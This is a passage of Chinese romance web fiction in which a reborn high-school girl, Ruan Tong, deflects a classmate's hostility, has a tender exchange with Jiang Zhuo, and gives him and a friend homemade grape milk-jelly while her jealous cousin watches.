看来,对他而言,阮瞳应该足够特别。她要是再为难阮瞳,姜酌怕不是要和她翻脸。 “嘴皮子挺利索,不愧是优等生。”贝芮语气硬邦邦的,但敌意已无,她弯腰捡起滚到脚边的网球,随手抛给阮瞳,“行了,接着玩你们的吧。” 贝芮利落转身离开,她知道,就算她现在去问阮茵茵,阮茵茵也不会承认。 这一次,她会亲自确认阮瞳他们说的到底是真是假。 等贝芮等人消失在视线里,元曦曦长舒一口气,拍着胸口后怕不已。对她来说,这种事情还是太过刺激,真不知道阮瞳是怎么做到这么镇定的。 阮瞳定定望着贝芮离开的背影,即便解决了眼前的麻烦,她也没有感到半点轻松。 她厌烦这种无止境的小动作和算计。 前一世,她和阮茵茵的接触仅停留在最表面,她倒是不曾料想过阮茵茵会是这种作风。 一个郑嘉禾还不够,还派出贝芮,这是想和她打车轮战? 只不过,阮茵茵对贝芮的了解还是不够多。 和郑嘉禾不同,贝芮爱憎分明,她之所以会出面只是因为她坚信的友情。一旦贝芮确定那段友情只是针对她精心设置的骗局,阮茵茵只会自食其果。 等他们这个角落再次清净下来,阮瞳和元曦曦恢复了先前的练习。虽然进度缓慢,但元曦曦渐渐掌握了击球的技巧,对着围墙,也能打上两、三个来回。 在距离下课还有十多分钟时,就陆陆续续有同学把器材还到上课集合的地方,“自行”提前下课了。 这就是最后一节课是体育课的好处。只要体育老师睁一只眼闭一只眼,学生是可以提前下课的。 元曦曦看了眼腕表,摸出纸巾擦掉脸上的汗,“瞳瞳,我们也走吧?我妈妈今天做了我最喜欢的粉蒸肉!我想早点回家吃饭。” “你先走吧,我想再打一会。”阮瞳挥拍的动作没停下,她专注地望向围墙上逐渐清晰的击球点。 “好,那我先走啦!下午见!” 阮瞳对着墙壁又练习了许久,直到手臂微微酸痛,她才拖着沉重的脚步走到不远处的体育馆后门。 方才还喧闹不已的操场早就安静下来,只能隐约听到远处响起的车铃声。 阮瞳看了眼腕表,已经过了正常下课的时间,不用想也知道蒋劲早就把其他的器材归还到器材室了,那她干脆先休息会,再去器材室还球拍。 只不过,器材室在哪里?她还真不知道。 阮瞳从口袋里摸出一包手帕纸,抽出两张铺在体育馆后门的台阶上,然后慢悠悠地坐了下来。 九月上旬,虽然已经入了秋,但体感温度却和盛夏没什么两样。 阮瞳擦拭着额头和脸颊滚落的汗珠,缓缓舒出一口气,目光望向远处的树荫。 为了降低阮茵茵的戒心,进入七班以来,她一直在隐忍。 郑嘉禾他们每一次对她肆意的打量和嬉笑,都会让她想起001向她展示的未来里那令人作呕的场景,而一次次被打断的解题思路,更是不断挑战着她的耐心。 这种被动的处境让阮瞳无比厌烦,她都快要忘记主动出击的滋味。 或许,她不该再一味地忍耐了,这一点也不符合她的作风。 就在这时,不紧不慢的脚步声从不远处传来,阮瞳还没来得及做出反应,一道高大挺拔的身影已经出现在体育馆后门。 酣畅淋漓的运动冲淡了姜酌眉宇间惯有的冷峻,整个人看起来肆意又松弛。 他单臂夹着篮球,另一只手随意捞起校服下摆擦拭着下颌的汗水,这个动作让他腰腹间紧实的肌肉暴露无遗。 汗水沿着清晰的人鱼线滑落,没入蓝色校裤的裤腰之下,靠近左侧侧腰处,一颗黑痣随着他尚未平复的呼吸微微起伏着。 这副活色生香的画面冲击力过强,阮瞳眸光一凝,目光不可避免地落在那颗过分鲜明的痣上。 姜酌身上的痣真的很会挑地方长。 几乎是同时,姜酌敏锐地察觉到有人在看他,他迅速放下衣摆,严严实实遮住那片风光,抬眼时,面上的神情已然恢复平日的冷然。 然而,在看清那人是阮瞳,姜酌表情一滞,他甚至突然想起,裴子逸先前问过他,“女生是不是都喜欢肌肉?” 他当时嗤之以鼻,没想到现在却因这种微乎其微的可能性而口干舌燥,耳根甚至不受控制地漫上一层薄红,在烈日炎炎下无处遁形。 姜酌下意识想转身离开,然而仅是短暂的一瞥,他便注意到阮瞳被汗水濡湿的额发和干燥的唇瓣。 内心挣扎片刻后,姜酌终究是顺从本心地迈开脚步,走到阮瞳面前,手臂自然下垂,将手里未开封的矿泉水,轻轻放在了她身侧的台阶上。 做完这一切,姜酌径直走到几米开外,和阮瞳隔了一小段距离,倚靠在另一侧的柱子。他拧开手中原本是带给裴子逸的水,仰头灌了一口。 那突然出现的矿泉水冲散了阮瞳心头的阴霾,她拿起那瓶水,指尖抚过瓶身凝结的水珠,轻声道:“谢谢你呀,姜酌。” 不仅是谢这一瓶水,更是谢谢他在未来毫不犹豫向她伸出的援手,谢谢他在郑嘉禾蓄意为难她时握紧的拳头,谢谢他在贝芮等人的面前对她不动声色的维护。 她是可以自己解决这些问题,但姜酌这种毫无缘由偏向她的态度还是让她心里微暖。 阮瞳侧头望向一旁的姜酌,即便隔着一段距离,她仍能闻到他身上淡淡的皂荚清香,干净又清爽,和十年后的他身上冷冽的木质香截然不同,有着独属于这个年纪的青涩。 “你知道我的名字?”从阮瞳口中听到他的名字,姜酌有瞬间的怔愣,等他反应过来时,话已经说出了口。 姜酌抿紧唇瓣,心里有些懊恼,这问题听起来又蠢又自作多情。 只是,这是开学以来,他们第一次的独处,姜酌不由自主地想和阮瞳相处得再久一点。 即便,对她而言,他只不过是一个不甚相熟的同班同学。 阮瞳没察觉到姜酌的情绪变动,但他的问题还是让她忍俊不禁。 先不提十年后他们之间的事情,光是开学以来,姜酌的大名就在七班如雷贯耳。 姜酌是七班当之无愧的风云人物。即便他本人在学校时,大多数时间都沉默寡言、不露锋芒,但不泯于众人的长相和身材,足以让同年级,甚至是其他年级的女生为他侧目。 阮瞳就曾好几次撞见其他班的女生喊姜酌出教室。有时候,她忙着写题没注意到,热衷吃瓜的元曦曦却是会在课 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在他心里,贝芮是他的发小,感情深厚,所以他会私下替贝芮解释。 那她呢? 或许……在他心里,她与其他人并无不同,只是他出于人道主义或者习惯,顺手关照的对象之一。 或许,就连前一世,他的出手相助也只是因为他看不惯阮锡安的嘴脸。 阮瞳面上的笑意渐渐淡去,没想到她会因姜酌的一句话而心绪波动,“你不用担心,我并没有迁怒贝芮。要怪……也是怪那个在背后搬弄是非的人。” 察觉到阮瞳疏离的态度,姜酌下颌线微微绷紧,在她站起身之前,他率先开口,嗓音比平时更低沉干涩,“我不是那个意思,你别生气。” 生气? 阮瞳身形一顿,侧头恰好撞进姜酌眼底,里面流露出她从未在姜酌身上看到过的紧张。 可是,她有什么立场和资格生气?就因为姜酌没有像她期待的那样,毫无原则地站在她这边吗? 意识到这一点后,阮瞳说不清心底的狼狈,她压下所有情绪,笑容清浅道:“我没有生气。” 阮瞳不想再纠结于此,余光瞥见手边的网球拍,她自然地岔开话题,“对了,你知道器材室在哪里吗?我的球拍还没有还。” 姜酌一眼就看出阮瞳的笑容里的距离感,到了嘴边的解释,在对上阮瞳的眼神时,终究还是被压了回去,“我帮你还。” “那太麻烦啦,你告诉我在哪里就好了……” “不麻烦。”姜酌不想再从阮瞳口中听到任何推脱的话,他站起身,直接从她手中拿走了网球拍。 阮瞳看着他迅速而强势的动作,一时语塞。 他这哪是帮忙?分明是抢……但是,他拿都拿走了,她真不至于再孩子气地拿回来。 阮瞳盯着姜酌看了片刻,没再多说什么,只是俯身拾起垫在台阶上的纸巾,揉成一团扔进一旁的垃圾桶。 阮瞳察觉到身侧姜酌如有实质的视线,笑道:“那真是太谢谢你啦。作为回礼,我下午给你带好吃的吧。” 这划清界限的道谢如一盆凉水泼灭了姜酌心中隐秘升起的希望。阮瞳分明是想用这种方式,将刚刚两人独处而产生的些许亲近感彻底抹去,再一次将他隔绝在普通同学那条线之外。 姜酌握紧手里的球拍,不知道如何打破阮瞳重新筑起的高墙,只能眼睁睁看着她挥了挥手,转身离开。 随着阮瞳的离开,体育馆后门重新陷入一片寂静之中。 姜酌独自站在原地,眼底情绪晦暗不明。 阮瞳的情绪转变分明是在他提起贝芮之后。 是因为贝芮为难了她,所以她听到这个名字就不快?还是,她不喜欢他替贝芮说话? 至于阮瞳提到的背后搬弄是非的人…… 先是郑嘉禾,再是贝芮。班上两个毫无关联的人先后为难她,这绝不是巧合。 到底是谁在处心积虑地为难她? 15. 青提奶冻 冷静下来之后,阮瞳便知道问题的关键不在于姜酌是否替贝芮说话,而在于她的心态。 是她心态出了问题。 前一世,自从家庭发生巨变,在领养狸花猫小堇之前,她一直是一个人。 尽管名义上,她是被叔叔阮诚一家收养了,但她从未融入过这个家庭。 和衣来伸手、饭来张口,没钱就找爸妈的阮茵茵不同,她的生活费是定量的。好在,生活费都是叔叔阮诚定时打到她的卡上,没有经阿姨文颖的手,否则,阮瞳都怀疑她的生活费会不会大幅“缩水”。 然而,阮诚对她的关心也就到此为止了。他都来不及关心自己的儿女,又怎么会顾得上阮瞳呢? 所以,前一世,无论是生病、学业或工作遇到困难、被人为难,阮瞳一直是一个人,不会有人帮她,也不会有人坚定地站在她身边。 她早就习惯了一个人背负所有,一个人解决所有的难题。 然而,无论是前一世,还是重来的这一次,姜酌总是这样不求回报地帮助她,这让阮瞳在潜意识里将他放在了一个特殊的位置,甚至生出了不该有的期待和依赖。 她竟然开始期望,她在他心中会是独一无二,被无条件偏袒的那一个。 所以,当她发现原来姜酌同样会维护别人时,那种微妙的失落和酸涩便油然而生,而这两种情绪往往是更深层情感开始的征兆。 这让阮瞳心头一凛。 一旦她习惯了姜酌的维护,就会依赖这份温暖,甚至可能会变得软弱。 这和她的初衷完全背道而驰。 重生一次,她不是要单纯地再经历一次高中生活,亦或是体验一次“时髦”的早恋。 为了报复阮茵茵、阮锡安和文颖,她需要的是冷静和决绝,而不是这些让人心乱的悸动。 姜酌很好。 虽然不知道他为什么会再一再二再三地帮她,但这种“偏爱”依旧让她感觉温暖。 然而,正是这份温暖太过诱人,阮瞳才更要警惕。 她不能沉溺其中,更不能因为她的靠近,再一次将可能存在的危险引向他。 和姜酌保持距离,寻找能够报答他的机会,是现阶段最优的选择。 …… 等阮瞳回到家时,王阿姨正坐在餐桌前,她时不时就望向时钟,面上带着明显的担忧。 见阮瞳开门,王阿姨松了口气,“瞳瞳!怎么这么晚才回来?我还以为出什么事了!”以往阮瞳都是一放学就回家,现在距离放学时间足足过了二十多分钟,阮瞳要是再不回来,她都打算去学校看看了。 “最后一节是体育课,没注意时间,多打了会网球,我下次不会再犯啦!”自知理亏的阮瞳蹭到王阿姨旁边,讨好地替她捶了捶背。 “你呀!”王阿姨轻点了点阮瞳的鼻尖,“多运动是好事,不过下次记得提前跟阿姨说一声。” “好!”话是这么说,可阮瞳也没想到会发生这种事,或许她该把手机带上?发生什么事情也好联系王阿姨。 …… 阮戚风工作日基本上都留在公司,所以经常是阮瞳和王阿姨两个人一起吃饭。 王阿姨夹了块清蒸鲈鱼肚子上的鱼肉放在阮瞳的碗里,“瞳瞳,多吃点啊,阿姨看你都瘦了。” 阮瞳扑哧一声笑出了声,她确实开始配合拳击和锻炼控制热量摄入,但哪至于这么短的时间里就肉眼可见地瘦了? 不过,阮瞳一向珍惜王阿姨的关心,她笑眯眯地点点头,等吃掉那块鱼肉后,开口道:“您今天做了什么甜品呀?” 这阵子,阮瞳只在家吃早午饭,然而,一向勤勉的王阿姨显然觉得这样还不够,每天都铆足了力给她准备带到学校吃的小甜品和放学回家吃的夜宵。 小甜品有时候是加了不同水果的果冻,有时候是吃起来方便不脏手的曲奇、奶香小馒头和司康。 至于夜宵,那就更多种多样了。章鱼小丸子、拉面、炒面和关东煮…… 这样看下来,阮瞳能保持体重不增加已经相当厉害了。 “今天做的是青提奶冻。” “我想多带两个。” 王阿姨放下筷子,乐呵呵问道:“又交到新朋友了吗?”要她说,阮瞳哪里都好,就是性子太温和慢热,在人际关系方面有点薄弱,平时的节假日也不见她和朋友出去玩,基本上都是呆在家中闷头学习。 前几天,她给阮瞳准备曲奇的时候,阮瞳就要了两袋,说是要分给同桌,没想到今天就要带四份了! 看来,考到普通班并不是一件坏事啊! 阮瞳筷子一顿,到底是没开口反驳王阿姨的话,她不想扫王阿姨的兴。 她自然不可能用简单的青提奶冻就报答姜酌对她的帮助,只是现在的她对姜酌的了解不过是冰山一角,暂且只能用青提奶冻适当表达谢意。 之所以让王阿姨多准备两份,是因为其中还有一份是裴子逸的。 阮瞳没有忘记裴子逸之前也替她说了话。 虽然,他只是不想姜酌在班上动手,但阮瞳不喜欢欠别人的人情。 - 下午。 等阮瞳到学校时,不过一点三十分,七班的教室空荡荡的。 这个点,到教室的基本上都是七班为数不多认真学习的学生,大家都低着头写着老师布置的作业,教室里静悄悄的,偶尔有人低声讨论着题目。 阮瞳安静地走到座位旁的过道,从袋子里拿出青提奶冻,杯壁上还凝结着细密的水珠。她将其中一盒给了元曦曦,换来对方一声惊喜的低呼。 元曦曦压低嗓音道:“哇!看起来好好吃呀!瞳瞳,谢谢你!” 美食当先,元曦曦立马丢下纠结五分钟还没有思绪的物理题,迫不及待拆开勺子尝了一口,“唔,王阿姨做的甜品真的好好吃,好羡慕你每天都能吃到!” “听到你这么说,王阿姨肯定会开心,”见她吃得开心,阮瞳眼底染上一丝笑意。 阮瞳没着急在座位坐下,目光掠过袋子里剩下的三盒奶冻后,她沉吟一瞬,趁着无人注意,走到裴子逸和姜酌的座位旁,将奶冻和勺子分别放进他们课桌桌肚的深处。 做完这一切,阮瞳神色如常地回到座位,从书包里拿出生物课本翻阅起来。 刚开学,老师布置的学习任务并不重,给了她很多时间去重温高一的知识。到目前为止,阮瞳已经看完了物理和化学,数学也接近尾声。 阮瞳打算在这周看完剩下的几门学科,下周便开始用试卷来检验学习成果。 过了一会儿,班上渐渐热闹起来,姜酌一行人也从后门走进教室。 姜酌用手臂抵开蒋劲习惯性勾肩搭背的手,下意识望向教室窗边的座位,在看到光影里挺拔的背影时,抿了抿唇瓣。 走到座位,姜酌刚要坐下,动作却突然顿住。 和班上大多数人不同,姜酌的课桌总是空荡荡的,没有课间用来垫肚子的零食或饮料,也没有笔记或错题集,只有学校发的课本和习题册。 然而,此刻,他的课桌桌肚里却出现了不应该存在的东西。 只一眼,姜酌就猜到这是阮瞳说的回礼。 平时,不是没有女生给他送东西,但是她们不会像阮瞳这样“简单”地留下东西,每次都要当着他的面,表面自己的身份后,再送东西。 姜酌将那杯精致的奶冻拿了出来,饱满的青提和茉莉绿叶在莹白的椰奶冻中格外剔透,散发着淡淡的清香。 即便他知道阮瞳这份回礼背后的疏远意味,但收到来自她的东西就足以让他心跳失序。 “我靠!酌哥,这啥好东西?”蒋劲扔下书包便瞥见姜酌的动作,咋咋呼呼地就要凑过来细看。 姜酌手臂一抬,不着痕迹地将蒋劲探过来的脑袋推了回去,另一只手迅速将奶冻往怀里护了护,动作快得带起一阵风。 姜酌侧头,用一个“你想死?”的眼神瞥了蒋劲一眼。 蒋劲哽住,讪讪地缩回头,小声嘟囔:“不给看就不给看嘛,酌哥你怎么这么小气……”平时那些女生给他送礼物,也没见他收啊,怎么这个不但收了,还连看都看不得? 裴子逸将一幕尽收眼底,嘴角勾起了然的弧度,用口型对蒋劲说了句“傻 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姜酌垂下眼帘,浓密的睫毛在眼睑下投下一片阴影,掩去他眼底的情绪。 原来,这份回礼并不是独属于他的。 姜酌知道裴子逸做了什么。 恰到好处的一句话便替阮瞳解了围,裴子逸值得这份回礼。 那他呢?他那些笨拙,甚至可能弄巧成拙的维护,在她眼中,是不是远不如裴子逸? 姜酌心口微微发闷,可他终究什么也没说,只是更小心地将那杯奶冻放回了课桌桌肚的角落。 这是唯一能证明他们之间尚存联系的凭证了,他不想这么快就吃掉它。 另一边。 早在蒋劲的大嗓门响起时,阮瞳就注意到他们那边的动静。 她手里的课本已经很久没有翻过页了。 阮瞳将一切尽收眼底,甚至有些后悔关注了那边的动静。 因为她注意到姜酌在发现裴子逸也有一份奶冻时,那瞬间僵直的脊背和低沉的气息,她也没有错过他最后那小心翼翼收起奶冻的姿态。 阮瞳的心像是被轻轻撞了下,泛起绵密的涩意和酸胀。 她没想到她这份意在划清界限的回礼,会被他会如此笨拙地珍视。 阮瞳握紧手中的笔,强迫自己垂下眼,目光重新落回生物课本上那熟悉的细胞结构图上。 而这一切,同样分毫不差地落入了阮茵茵的眼里。 今天轮到阮茵茵值日,她到教室的时间比平时要早。 好巧不巧,阮茵茵从后门走进教室时,正好看见阮瞳的手从姜酌的桌肚里收回。紧接着,就见她如法炮制地往裴子逸桌肚里也放了一小盒东西。 阮茵茵当时便心头一紧,恨不得直接上前查看她往姜酌课桌里放了什么,然而仅存的理智制止了她,这样只会暴露她对姜酌的心思。 从小到大,她想要的东西,每次都会被阮瞳抢走。 她不想再让阮瞳抢走姜酌。 哪怕只有一丁点的可能性。 阮茵茵心不在焉地潦草完成了值日,刚在座位坐下,她便转身和后排的女生聊起天来。在此期间,她始终死死盯着后排的动静。 因而,阮茵茵没有错过姜酌护食般不让蒋劲碰奶冻的强势,也没有错过他难得外露的情绪。 阮茵茵只觉得一股邪火从心底窜起,烧得她唇干舌燥。 早上,她和贝芮说阮瞳是为了姜酌才考来七班,但那更多是为了给贝芮上眼药,她自己都未必全信。 可体育课上,贝芮质问阮瞳时,姜酌他竟然真的为阮瞳出头。 而阮瞳,在郑嘉禾和贝芮面前装得与世无争,体育课后还不是迫不及待地给姜酌送东西,甚至还想笼络他身边的裴子逸? 难道他们之间真的有什么? 不然姜酌为什么会替她出头?又为什么会如此珍重地对待她送的东西? 一想到这个可能性,酸涩扭曲的妒意就如藤蔓般紧紧缠绕在阮茵茵的心脏上。 妒火中烧,煎熬难忍。